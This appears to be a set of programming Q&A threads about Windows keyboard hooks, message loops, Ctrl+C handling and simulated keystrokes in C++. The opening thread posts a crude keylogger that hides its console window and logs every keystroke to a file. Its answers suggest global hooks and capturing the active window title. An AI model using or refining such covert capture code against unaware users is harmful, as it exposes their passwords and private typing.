I`m trying to write a simple keylogger in C++ using WinAPI. Is there a way to get in which application the user is typing the captured key strokes?
And here is my code so far:
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int main()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}
}
system ("PAUSE");
return 0;
}
What you want is a global keyboard hook
A global hook monitors messages for all threads in the same desktop as
the calling thread. A thread-specific hook monitors messages for only
an individual thread. A global hook procedure can be called in the
context of any application in the same desktop as the calling thread,
so the procedure must be in a separate DLL module. A thread-specific
hook procedure is called only in the context of the associated thread.
If an application installs a hook procedure for one of its own
threads, the hook procedure can be in either the same module as the
rest of the application's code or in a DLL. If the application
installs a hook procedure for a thread of a different application, the
procedure must be in a DLL. For information, see Dynamic-Link
Libraries.
Since the question is "Is there a way to get in which application the user is typing the captured key strokes?"
I'd say use HWND WINAPI GetForegroundWindow(void);
For example:
char cWindow[MAX_PATH];
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
In cWindow you get the title of the window in which the user is typing.
Related
I want to detect keypress in C++ and i need to use Windows System Call. So, i did some research and this is what i got using Hooks and Message:
#include <Windows.h>
#include <iostream>
#include <sstream>
#include <fstream>
#include <ctime>
using namespace std;
LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam) {
if (code == HC_ACTION) {
switch (wParam) {
case WM_KEYDOWN:
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
char c = char(MapVirtualKey(p->vkCode, MAPVK_VK_TO_CHAR));
cout << c << endl;
}
}
return CallNextHookEx(NULL, code, wParam, lParam);
}
int main() {
HHOOK HKeyboard = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0);
MSG msg;
BOOL bRet;
while ((bRet = GetMessage(&msg, NULL, 0, 0)) > 0) {
cout << "bRet = " << bRet << endl; // I want to do something here, but the program doesn't seem to go in here
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(HKeyboard);
return 0;
}
My question is why my program doesn't go inside the loop(and instead stuck on GetMessage function)? I need it to set conditions to terminate after some seconds, so where should i put the conditions? I know the GetMessage function reads Message, but when i press keys on my keyboard it still not going in and the callback function works just fine.
The events are posted to the active window. Console windows are owned by the console subsystem, csrss.exe, and it receives the events, then translates them to characters and puts them in the console object which is your application's stdin.
If you want to process events the Win32 GUI way, you should use a Win32 window (e.g. RegisterClass and CreateWindow), not a console window.
If you just want the callbacks to work for a certain period of time, you can use an alertable wait such as SleepEx or MsgWaitForMultipleObjects, which accept a timeout.
That's not surprising, there aren't really any messages on your thread queue and you have no window so there's no window queue either.
If you want to play with values returned from your hook, put the code in the hook callback function.
I should warn you that hooks like these won't work in console applications since the console window resides in another process. Also, if you look at the MSDN page for SetWindowsHookEx, you'll see that WH_KEYBOARD_LL is a global hook only, ie you have to put your hook handler in a DLL library and inject the hook in the other applications. Then you have to handle the 32/64 bit issue yourself.
And as a last note, when you say cout << c; in your handler, that would be printing in the process's output file handle, not your own.
I was trying to make a simple keylog test, but my program doesn't work as expected and I don't know why.
In my program i had a low level keyboard hook and attach a simple process to it. The process just opens/creates a file and writes "Hello World" then closes. However it isn't creating the file, probably because my process isn't correct or because my hook wasn't established correctly.
Code:
#include<windows.h>
#include<stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam){
ofstream myfile;
myfile.open ("[PATH]/example.txt");
myfile << "Hello world";//((KBDLLHOOKSTRUCT *)lParam)->vkCode
myfile.close();
return CallNextHookEx(NULL,code,wParam,lParam);
}
int main(void){
HINSTANCE hInst = NULL;
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInst, 0);
printf("HHOOK is not null: %s\n", (hHook != NULL) ? "True" : "False");
char q;
for (cout << "q to quit\n"; q != 'q'; cin >> q);
printf("Successfully unhooked: %s", UnhookWindowsHookEx(hHook) ? "True" : "False");
}
Solution I needed to add a message loop to the main function:
LPMSG Msg;
while(GetMessage(Msg, NULL, 0, 0) > 0)
{
TranslateMessage(Msg);
DispatchMessage(Msg);
}
Thre are two kind of hooks:
Global Hooks
Global hook procedures should be placed into a separate DLL, then in your main process you load the hook dll and it's hooking procedure and set the hook.
A global hook monitors messages for all threads in the same desktop as
the calling thread. A thread-specific hook monitors messages for only
an individual thread. A global hook procedure can be called in the
context of any application in the same desktop as the calling thread,
so the procedure must be in a separate DLL module.
That said: KeyboardProc goes into a separate DLL (e.g. myhookdll.dll).
In your process you do something like this:
HOOKPROC hkprc;
static HINSTANCE hhookDLL ;
static HHOOK hhook ;
hhookDLL = LoadLibrary(TEXT("c:\\...\\myhookdll.dll"));
hkprc = (HOOKPROC)GetProcAddress(hhookDLL, "KeyboardProc");
hhook = SetWindowsHookEx(
WH_KEYBOARD,
hkprc,
hhookDLL,
0);
Here a good reference: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644960(v=vs.85).aspx
Thread Level Hooks about this specific 'WH_KEYBOARD_LL' that hooks at thread level, it does not need a separate DLL.
A thread-specific
hook procedure is called only in the context of the associated thread.
If an application installs a hook procedure for one of its own
threads, the hook procedure can be in either the same module as the
rest of the application's code or in a DLL. If the application
installs a hook procedure for a thread of a different application, the
procedure must be in a DLL. For information, see Dynamic-Link
Libraries.
But thread level hook needs a message pump:
This hook is called in the context of the thread that installed it.
The call is made by sending a message to the thread that installed the
hook. Therefore, the thread that installed the hook must have a
message loop.
Here a basic message loop:
while((bRet = GetMessage(&msg, NULL, 0, 0)) != 0)
{
if(bRet == -1)
{
// Handle Error
}
else
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
I have some problems with the handling of CTRL+C events, in a Win32 C++ console program.
Basically my program looks like this: (based on this other question: Windows Ctrl-C - Cleaning up local stack objects in command line app)
bool running;
int main() {
running = true;
SetConsoleCtrlHandler((PHANDLER_ROUTINE) consoleHandler, TRUE);
while (running) {
// do work
...
}
// do cleanup
...
return 0;
}
bool consoleHandler(int signal) {
if (signal == CTRL_C_EVENT) {
running = false;
}
return true;
}
The problem is the cleanup code not being executed at all.
After the execution of the handler function the process is terminated, but without execute the code after the main loop. What's wrong?
EDIT: as requested, this is a minimal test case similar to my program: http://pastebin.com/6rLK6BU2
I don't get the "test cleanup-instruction" string in my output.
I don't know if this is important, I'm compiling with MinGW.
EDIT 2: The problem with the test case program is the use of the Sleep() function. Without it the program works as expected.
In Win32 the function handler runs in another thread, so when the handler/thread ends its execution the main thread is sleeping. Probably this is the cause of process interruption?
The following code works for me:
#include <windows.h>
#include <stdio.h>
BOOL WINAPI consoleHandler(DWORD signal) {
if (signal == CTRL_C_EVENT)
printf("Ctrl-C handled\n"); // do cleanup
return TRUE;
}
int main()
{
running = TRUE;
if (!SetConsoleCtrlHandler(consoleHandler, TRUE)) {
printf("\nERROR: Could not set control handler");
return 1;
}
while (1) { /* do work */ }
return 0;
}
Depending on your specific requirements you have a number of options. If you simply want to ignore Ctrl+C you can call SetConsoleCtrlHandler passing NULL as the HandlerRoutine parameter:
int _tmain(int argc, _TCHAR* argv[])
{
SetConsoleCtrlHandler(NULL, TRUE);
// do work
return 0;
}
This removes all signal handlers. To terminate this application you have to implement custom logic to determine when to shut down.
If you want to handle Ctrl+C you have two options: Set up a handler for the signal or pass the keyboard input on to regular keyboard handling.
Setting up a handler is similar to the code above, but instead of passing NULL as the handler you provide your own implementation.
#include <windows.h>
#include <stdio.h>
volatile bool isRunnung = true;
BOOL WINAPI HandlerRoutine(_In_ DWORD dwCtrlType) {
switch (dwCtrlType)
{
case CTRL_C_EVENT:
printf("[Ctrl]+C\n");
isRunnung = false;
// Signal is handled - don't pass it on to the next handler
return TRUE;
default:
// Pass signal on to the next handler
return FALSE;
}
}
int _tmain(int argc, _TCHAR* argv[])
{
SetConsoleCtrlHandler(HandlerRoutine, TRUE);
printf("Starting\n");
while ( isRunnung ) {
Sleep(0);
}
printf("Ending\n");
return 0;
}
The output of this application is:
Starting
[Ctrl]+C
Ending
Note that cleanup code is executed, regardless of the code inside the main while-loop. Signal handlers form a linked list, where the handler functions are called on a last-registered, first-called basis until one of the handlers returns TRUE. If none of the handlers returns TRUE, the default handler is called. The default handler for a console calls ExitProcess when processing Ctrl+C.
If you want to prevent any preprocessing and handle Ctrl+C as regular keyboard input instead you have to change the console mode by calling SetConsoleMode.
#include <windows.h>
#include <stdio.h>
int _tmain(int argc, _TCHAR* argv[])
{
DWORD dwMode = 0x0;
GetConsoleMode( GetStdHandle(STD_INPUT_HANDLE), &dwMode );
// Remove ENABLE_PROCESSED_INPUT flag
dwMode &= ~ENABLE_PROCESSED_INPUT;
SetConsoleMode( GetStdHandle(STD_INPUT_HANDLE), dwMode );
while ( true ) {
// Ctrl+C can be read using ReadConsoleInput, etc.
}
return 0;
}
Once the ENABLE_PROCESSED_INPUT flag is removed Ctrl+C is no longer processed by the system and passed to the console like regular keyboard input. It can be read using ReadConsoleInput or ReadFile.
Disclaimer: The above has been tested on Windows 8 64bit, compiled for 32 and 64 bit, Release and Debug configurations.
According to the documentation, when the handler (which is declared wrong, BTW) receives a CTRL_CLOSE_EVENT, CTRL_LOGOFF_EVENT, or CTRL_SHUTDOWN_EVENT signal, the process is terminated after the handler exits. To do what you are attempting, you are supposed to move your cleanup code into the handler itself.
Actually Win32 has some emulation for POSIX signals, so you can just do the following, which will be portable between Windows and POSIX (Linux, *BSD, etc.):
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
static void sigHandler(int sig) {
printf("Signal %d received, exiting\n", sig);
exit(0);
};
int main() {
signal(SIGINT, sigHandler);
#ifdef SIGBREAK
signal(SIGBREAK, sigHandler); // handles Ctrl-Break on Win32
#endif
signal(SIGABRT, sigHandler);
signal(SIGTERM, sigHandler);
printf("Press Ctrl-C to exit ...\n");
for (;;) {
getchar();
}
return 0;
}
Try running your console application directly from the windows command line without using the C++ IDE. I noticed that your code doesn't work if I run from the Code::BLocks C++ IDE... but it works if I run it from the command line....
(Also, note for Codeblock you need to copy all of the DLLs from the Codeblocks program directory ('C:\Program Files\CodeBlocks*.dll') in your project/bin/debug directory to get the console application to run from the command line...)
My approach to this problem turned out to be correct only in several programs. Why it isn't universal?
Works fine on:
Firefox
Visual Studio Text Editor
Unfortunately, in some cases nothing happens(even if I click into a textbox area before execution of my program):
Google Chrome
Notepad
GetLastError returns always 0, even using SendMessage instead of PostMessage.Could you point out my mistake?
#include <Windows.h>
#include <iostream>
int main()
{
HWND hCurrentWindow;
Sleep(5000);
hCurrentWindow = GetForegroundWindow();
std::cout<<"GO!!!\n";
for(int i=0; i<500; i++) //simulate 500 keystrokes of 'E'.
{
PostMessage(hCurrentWindow,WM_KEYDOWN,0x45,NULL);
PostMessage(hCurrentWindow,WM_KEYUP,0x45,NULL);
}
std::cout<<GetLastError()<<std::endl;
system("Pause");
return 0;
}
UPDATE after Maximus sugestion
#include <Windows.h>
#include <iostream>
int main()
{
HWND hCurrentWindow;
Sleep(5000);
hCurrentWindow = GetForegroundWindow();
if(!hCurrentWindow)
std::cout<<"Failed get set the window handle\n";
std::cout<<"GO!!!\n";
for(int i=0; i<500; i++)
{
PostMessage(hCurrentWindow,WM_KEYDOWN,0x45,0x45);
PostMessage(hCurrentWindow,WM_KEYUP,0x45,0x45);
}
std::cout<<GetLastError()<<std::endl;
system("Pause");
return 0;
}
There is no difference in effect.
UPDATE after Rob Kennedy's comment and Hans Passant's answer
#include <Windows.h>
#include <iostream>
int main()
{
HWND hCurrentWindow;
DWORD procID;
GUITHREADINFO currentWindowGuiThreadInfo;
Sleep(5000);
hCurrentWindow = GetForegroundWindow();
if(!hCurrentWindow)
std::cout<<"Failed get main the window handle\n";
GetWindowThreadProcessId(hCurrentWindow,&procID);
GetGUIThreadInfo(procID,¤tWindowGuiThreadInfo);
hCurrentWindow = currentWindowGuiThreadInfo.hwndFocus;
if(!hCurrentWindow)
std::cout<<"Failed get the child window handle\n";
std::cout<<"GO!!!\n";
for(int i=0; i<500; i++)
{
PostMessage(hCurrentWindow,WM_KEYDOWN,0x45, MapVirtualKey(0x45,MAPVK_VK_TO_VSC));
PostMessage(hCurrentWindow,WM_KEYUP,0x45, MapVirtualKey(0x45,MAPVK_VK_TO_VSC));
}
std::cout<<GetLastError()<<std::endl;
system("Pause");
return 0;
}
Now, "transparent" messages are sent every time. GetLastError() says:
ERROR_INVALID_WINDOW_HANDLE
1400 (0x578)
Invalid window handle.
GetLastError() "fixed"
int main()
{
HWND hCurrentWindow;
DWORD procID;
GUITHREADINFO currentWindowGuiThreadInfo;
Sleep(5000);
hCurrentWindow = GetForegroundWindow();
if(!hCurrentWindow)
std::cout<<"Failed get main the window handle\n";
GetWindowThreadProcessId(hCurrentWindow,&procID);
GetGUIThreadInfo(procID,¤tWindowGuiThreadInfo);
hCurrentWindow = currentWindowGuiThreadInfo.hwndFocus;
if(!hCurrentWindow)
std::cout<<"Failed get the child window handle\n";
std::cout<<"GO!!!\n";
for(int i=0; i<500; i++)
{
if(!PostMessage(hCurrentWindow,WM_KEYDOWN,0x45, MapVirtualKey(0x45,MAPVK_VK_TO_VSC))) std::cout<<GetLastError()<<std::endl;
if(!PostMessage(hCurrentWindow,WM_KEYUP,0x45, MapVirtualKey(0x45,MAPVK_VK_TO_VSC))) std::cout<<GetLastError()<<std::endl;
}
system("Pause");
return 0;
}
...outputs 1400 thousand times. Except this, nothing has changed.
This will of course happen when you post the message to the wrong window. Which is certainly the case for Notepad. It doesn't have just one window, something you can see with Spy++. GetForegroundWindow() returns you a top-level window, the frame window for Notepad. Inside of that frame window it has a child window, an EDIT control. That window needs to get the messages.
You'll need to jump through a few hoops to get that window, the GetFocus() function returns the window with the focus but that only works if you call it from the process that owns the window. When you do this out-of-process then you must first call GetWindowThreadProcessId() to get the ID of the thread that owns the foreground window. Then you must call GetGUIThreadInfo(), the GUITHREADINFO.hwndFocus it returns is the window handle you need.
This is still not without trouble, you cannot control the keyboard state of the process. In other words, the state of the Shift, Ctrl and Alt keys as well as any dead keys (like Alt+Gr on certain keyboard layouts). Favor sending WM_CHAR for typing keys.
Something else to bear in mind is that you can't always assume that the target application is handling user input in the same way. For example they could be using something GetAsyncKeyState() instead, causing your posted messages to have no effect at all.
You send lParam==NULL. It contains the scan code of the key which may be needed by the applications which aren't working currently.
Also, your code does not check the return value of GetForegroundWindow(). It may be NULL.
Lastly, you omit WM_CHAR, which is an important part of keyboard cycle.
Between sending the KeyDown and KeyUp you need any delay in some cases. I solved my similar situation by adding a pause of 100ms after KeyDown
{
PostMessage(hCurrentWindow,WM_KEYDOWN,0x45, MapVirtualKey(0x45,MAPVK_VK_TO_VSC));
Sleep(100);
PostMessage(hCurrentWindow,WM_KEYUP,0x45, MapVirtualKey(0x45,MAPVK_VK_TO_VSC));
}
#include <iostream>
#include <fstream>
#define _WIN32_WINNT 0x501
#include <windows.h>
using namespace std;
HHOOK hKeyboardHook = 0;
LRESULT CALLBACK KeyboardCallback(int code,WPARAM wParam,LPARAM lParam) {
cout << "a key was pressed" << endl;
ofstream myfile;
myfile.open ("hookcheck.txt", ios::ate | ios::app);
myfile << "a key was pressed\n";
myfile.close();
return CallNextHookEx(hKeyboardHook,code,wParam,lParam);
}
int main() {
HWND consoleWindow = GetConsoleWindow();
HINSTANCE hInstCons = (HINSTANCE)GetWindowLong( consoleWindow, GWL_HINSTANCE );
hKeyboardHook = SetWindowsHookEx( WH_KEYBOARD, (HOOKPROC)KeyboardCallback, (HINSTANCE)consoleWindow, GetCurrentThreadId());
MessageBox(NULL, "It is keyboard time!", "Let's Go", MB_OK);
}
This code on every key press while the loop is going should print message on console and create a file, but nothing is happening. What do I wrong ?
I will quote from another topic:
Console windows are handled entirely by CSRSS, which is a system
process. Installing a hook into a process means injecting your DLL
into it. Since CSRSS is so important (it's vital for running of the
system, and code within runs as LocalSystem, which is the local
super-admin user), you're not allowed to inject code into it. So you
can't hook any of its windows.
There are no real window messages taking place in your simple console application, so your hook does not have to be called, and in your case you are not even injecting your hook but using thread mode hook only. Per MSDN documentation it is called when messages are about to be processed:
An application-defined or library-defined callback function used with
the SetWindowsHookEx function. The system calls this function whenever
an application calls the GetMessage or PeekMessage function and there
is a keyboard message (WM_KEYUP or WM_KEYDOWN) to be processed.
Now let me show you what you can do to start receiving calls on your hook:
MessageBox(NULL, _T("It is keyboard time!"), _T("Let's Go"), MB_OK);
//for(int i=0; i<=10; i++) {
// cout << i << endl;
// Sleep(1000);
//}
Do MessageBox and before closing it start typing - you will start getting hook calls.
Read the documentation for SetWindowsHookEx. Is it working, it will return NULL if it fails and GetLastError() can be called to get an error code to help diagnose what is wrong.
http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx
Sleep(1000) suspends the execution of the current thread until the time-out interval elapses. It means that your program is not actually running (ie. processing messages) during this sleep.
You need to use a different kind of command, that will keep the message loop running. The simplest thing would be to wait for user input
while(true)
std::cin.get();
I have created a dll that hooked the keyboard and in there I used the DllMainfunction to retrieve a HINSTANCE that can be used in SetWindowsHookEx.
Next to that I also used 0 as the threadid so all threads get hooked.
Perhaps you could try a similar tactic as well.